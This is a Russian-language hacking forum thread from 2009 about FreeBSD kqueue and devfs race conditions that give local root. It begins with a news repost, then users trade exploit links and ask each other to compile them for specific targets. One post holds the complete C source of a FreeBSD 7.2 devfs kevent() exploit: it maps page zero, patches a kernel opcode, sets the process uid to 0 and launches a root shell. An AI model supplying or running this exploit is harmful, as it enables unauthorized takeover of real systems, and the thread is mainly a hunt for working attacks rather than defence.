Баг в FreeBSD позволяет получить локальный root

Discussion in 'Песочница' started by RumShun, 16 Sep 2009.

  1. RumShun

    RumShun Member

    Joined:
    27 Oct 2008
    Messages:
    283
    Likes Received:
    75
    Reputations:
    6
    15.09.2009​
    Один из исследователей обнаружил дыру в безопасности операционной системы FreeBSD, которая позволяет пользователям с ограниченными правами доступа получить полный контроль над системой.

    Баг в программном интерфейсе оповещения kqueue, по словам польского эксперта Пржемислава Фрасунека, делает тривиальной задачу получения полных root-привилегий для пользователей, уже имеющих ограниченные права доступа в системе. Баг затрагивает операционные системы с номерами версий от 6.0 до 6.4, последние две из которых до сих пор широко используются и продолжают официально поддерживаться FreeBSD Foundation. Версии 7.1 и выше уязвимости к данному багу не имеют.

    Для успешной эксплуатации уязвимости атакующий должен иметь локальный доступ в системе, то есть либо уже быть авторизованным пользователем, либо использовать для получения доступа еще какую-нибудь дыру (например, уязвимый PHP-скрипт). Фрасунек утверждает, что воспользоваться дырой проще простого, и в подтверждение своих слов он выложил соответствующий видеоролик:
    _http://www.vimeo.com/6554787

    Баг представляет собой ошибку приоритезации выполнения кода в kqueue, которая приводит к разыменовыванию пустого указателя в kernel mode. Использовав ее атакующий может внедрить код в страницу памяти с адресом 0x0.

    Фрасунек подчеркнул также, что уведомил сотрудников FreeBSD о наличии бага еще 29 августа, однако ответа до сих пор не получил. Представитель FreeBSD Core Team Роберт Уотсон сообщил в ответ на соответствующий запрос, что электронное письмо, вероятнее всего, "затерялось в пути", и что руководство по решению данной проблемы должно появиться в ближайшее время.
    _http://www.xakep.ru/post/49468/default.asp
     
  2. X-3

    X-3 Member

    Joined:
    28 Mar 2009
    Messages:
    306
    Likes Received:
    58
    Reputations:
    -2
    "Затерялось". Сколько я им указывал на ошибки, в том же handbook'е, а письма все терялись да терялись...
     
  3. tux

    tux Elder - Старейшина

    Joined:
    26 Mar 2009
    Messages:
    423
    Likes Received:
    231
    Reputations:
    67
    Потери писем лучше всего лечатся публичным сплоитом. ;)
     
    1 person likes this.
  4. DimOnOID

    DimOnOID Banned

    Joined:
    5 Dec 2006
    Messages:
    407
    Likes Received:
    126
    Reputations:
    4
    и где же он?
     
  5. drim

    drim Member

    Joined:
    27 Aug 2009
    Messages:
    347
    Likes Received:
    33
    Reputations:
    4
    Нет его в паблике. Можно самому сделать )
     
  6. drim

    drim Member

    Joined:
    27 Aug 2009
    Messages:
    347
    Likes Received:
    33
    Reputations:
    4
    Кстати, не факт, что новость не фейк. Вполне возможно что кто-то пошутил. И на видео не показан вывод команды uname ДО выполнения сплойта.
     
  7. tux

    tux Elder - Старейшина

    Joined:
    26 Mar 2009
    Messages:
    423
    Likes Received:
    231
    Reputations:
    67
    Эээ... а что такого? Само подсоединение он пропустил, конечно. Но в самой системе он показывает версию системы, потом компилирует и запускает файл. И становится рутом. Там же все в терминале делается.
    Exploit в паблике нет. И описание бага я не нашел. Но тут, как бы, надо верить на слово, ибо у того экспериментатора есть имя.
     
  8. ghostwizard

    ghostwizard Member

    Joined:
    4 Dec 2005
    Messages:
    127
    Likes Received:
    36
    Reputations:
    21
    Первоначальный баг исходит отсюда:
    _http://www.milw0rm.com/exploits/9488

    Посути ничего нового, хорошо доработанное старое.
     
  9. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Баг уже исправили?
     
  10. Chertog

    Chertog Member

    Joined:
    14 Jul 2009
    Messages:
    4
    Likes Received:
    6
    Reputations:
    0
    А вот сразу же вдогонку и для FreeBSD 7.2:
    http://www.vimeo.com/6580991
    Демонстрация таже, но баг уже совершенно другой:
    "Another race condition leading to NULL ptr dereference. Please note: this is completely different vulnerability than 6.4 one. It affects 7.x up to 7.2 and 6.x up to 6.4. It's going to be handled by security team soon."
    На данный момент, команда проекта FreeBSD работает над патчами. В паблике эксплойта нет.
     
  11. ghostwizard

    ghostwizard Member

    Joined:
    4 Dec 2005
    Messages:
    127
    Likes Received:
    36
    Reputations:
    21
    Нет. Вероятно заплатка будет к следующей/на следующей неделе. А пока пишем сплоит :)

    Чекить фиксы можно отсюда:
    _http://www.freebsd.org/security/advisories.html
     
    1 person likes this.
  12. Ty3uK

    Ty3uK Member

    Joined:
    1 Feb 2009
    Messages:
    35
    Likes Received:
    28
    Reputations:
    0
    блин, как раз нада експлоит на 7.0 фрягу... просто ktimer не хочет работать... жду...
     
  13. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    http://www.frasunek.com/kqueue.txt оно?
    Кто сможет скомпилировать?
     
    #13 SeNaP, 19 Sep 2009
    Last edited: 19 Sep 2009
  14. Ty3uK

    Ty3uK Member

    Joined:
    1 Feb 2009
    Messages:
    35
    Likes Received:
    28
    Reputations:
    0
    это старая версия =/
     
  15. apnic

    apnic New Member

    Joined:
    8 Sep 2009
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    вышел ксплоит откомпильте.
    http://www.frasunek.com/devfs.txt
     
    2 people like this.
  16. mindw0rk

    mindw0rk Elder - Старейшина

    Joined:
    8 Jun 2007
    Messages:
    63
    Likes Received:
    50
    Reputations:
    1
    Скомпильте, ну позязя :3 А лучше продемонстрируйте, как это сделать самому под обычным юзером во фряхе 6.3.
    Доступны команды:
    Code:
    #endif
    
    /* 14.09.2009, babcia padlina 
     * FreeBSD 7.2 devfs kevent() race condition exploit
     *
     * works only on multiprocessor systems
     * compile with -lpthread
     */
    
    #define JE_ADDRESS 0xc076c62b
    
    /* location of "je" (0x74) opcode in devfs_fp_check() - it will be incremented
     * becoming "jne" (0x75), so error won't be returned in devfs_vnops.c:648
     * and junk function pointer will be called in devfs_vnops.c:650
     * 
     * you can obtain it using:
     * $ objdump -d /boot/kernel/kernel | grep -A 50 \<devfs_fp_check\>: | grep je | head -n 1 | cut -d: -f1
     */
    
    #include <pthread.h>
    
    #define _KERNEL
    
    #include <sys/param.h>
    #include <sys/conf.h>
    #include <sys/ucred.h>
    #include <fs/devfs/devfs_int.h>
    
    #include <sys/types.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/event.h>
    #include <sys/timespec.h>
    #include <fcntl.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/mman.h>
    #include <sys/proc.h>
    
    int fd, kq;
    struct kevent kev, ke;
    struct timespec timeout;
    volatile int gotroot = 0;
    
    static void kernel_code(void) {
    	struct thread *thread;
    	gotroot = 1;
    	asm(
    		"movl %%fs:0, %0"
    		: "=r"(thread)
    	);
    	thread->td_proc->p_ucred->cr_uid = 0;
    	thread->td_proc->p_ucred->cr_prison = NULL;
    
    	return;
    }
    
    static void code_end(void) {
    	return;
    }
    
    void do_thread(void) {
    	usleep(100);
    
    	while (!gotroot) {
    		memset(&kev, 0, sizeof(kev));
    		EV_SET(&kev, fd, EVFILT_READ, EV_ADD, 0, 0, NULL);
    
    		if (kevent(kq, &kev, 1, &ke, 1, &timeout) < 0)
    			perror("kevent");
    
    	}
    
    	return;
    }
    
    void do_thread2(void) {
    	while(!gotroot) {
    		/* any devfs node will work */
    		if ((fd = open("/dev/null", O_RDONLY, 0600)) < 0)
    			perror("open");
    
    		close(fd);
    	}
    
    	return;
    }
    
    int main(void) {
    	int i;
    	pthread_t pth, pth2;
    	struct cdev devp;
    	char *p;
    	unsigned long *ap;
    
    	/* 0x1c used for vp->v_rdev dereference, when vp=0 */
    	/* 0xa5610e8 used for vp->r_dev->si_priv dereference */
    	/* 0x37e3e1c is junk dsw->d_kqfilter() in devfs_vnops.c:650 */
    
    	unsigned long pages[] = { 0x0, 0xa561000, 0x37e3000 };
    	unsigned long sizes[] = { 0xf000, 0x1000, 0x1000 }; 
    
    	for (i = 0; i < sizeof(pages) / sizeof(unsigned long); i++) {
    		printf("[*] allocating %p @ %p\n", sizes[i], pages[i]);
    		if (mmap((void *)pages[i], sizes[i], PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
    			perror("mmap");
    			return -1;
    		}
    	}
    
    	*(unsigned long *)0x1c = (unsigned long)(JE_ADDRESS - ((char *)&devp.si_threadcount - (char *)&devp));
    
    	p = (char *)pages[2];
    	ap = (unsigned long *)p;
    
    	for (i = 0; i < sizes[2] / 4; i++)
    		*ap++ = (unsigned long)&kernel_code;
    
    	if ((kq = kqueue()) < 0) {
    		perror("kqueue");
    		return -1;
    	}
    
    	pthread_create(&pth, NULL, (void *)do_thread, NULL);
    	pthread_create(&pth2, NULL, (void *)do_thread2, NULL);
    
    	timeout.tv_sec = 0;
    	timeout.tv_nsec = 1;
    
    	printf("waiting for root...\n");
    	i = 0;
    
    	while (!gotroot && i++ < 10000)
    		usleep(100);
    
    	setuid(0);
    
    	if (getuid()) {
    		printf("failed - system patched or not MP\n");
    		return -1;
    	}
    
    	execl("/bin/sh", "sh", NULL);
    
    	return 0;
    }
    
    
    
     
  17. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    проще написать что сам компили и какие ошибки?
     
  18. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    на оба.
     
  19. BULLSHARK

    BULLSHARK New Member

    Joined:
    2 Mar 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Линк умер :-(
    Залейте. Кто проверял, поможет на версии FreeBSD 6.3-RELEASE #5: Fri Oct i386 2009 ? Перерыл весь милворм, может кто встречал эксплоит под данную версию ?
     
  20. ilya9166

    ilya9166 New Member

    Joined:
    25 Jun 2009
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    попробуй http://www.frasunek.com/pipe.txt , если не пропатчена то должно прокатить.

    отпишись о результате.
     
Loading...
Similar Threads - FreeBSD позволяет получить
  1. Torchin
    Replies:
    4
    Views:
    2,985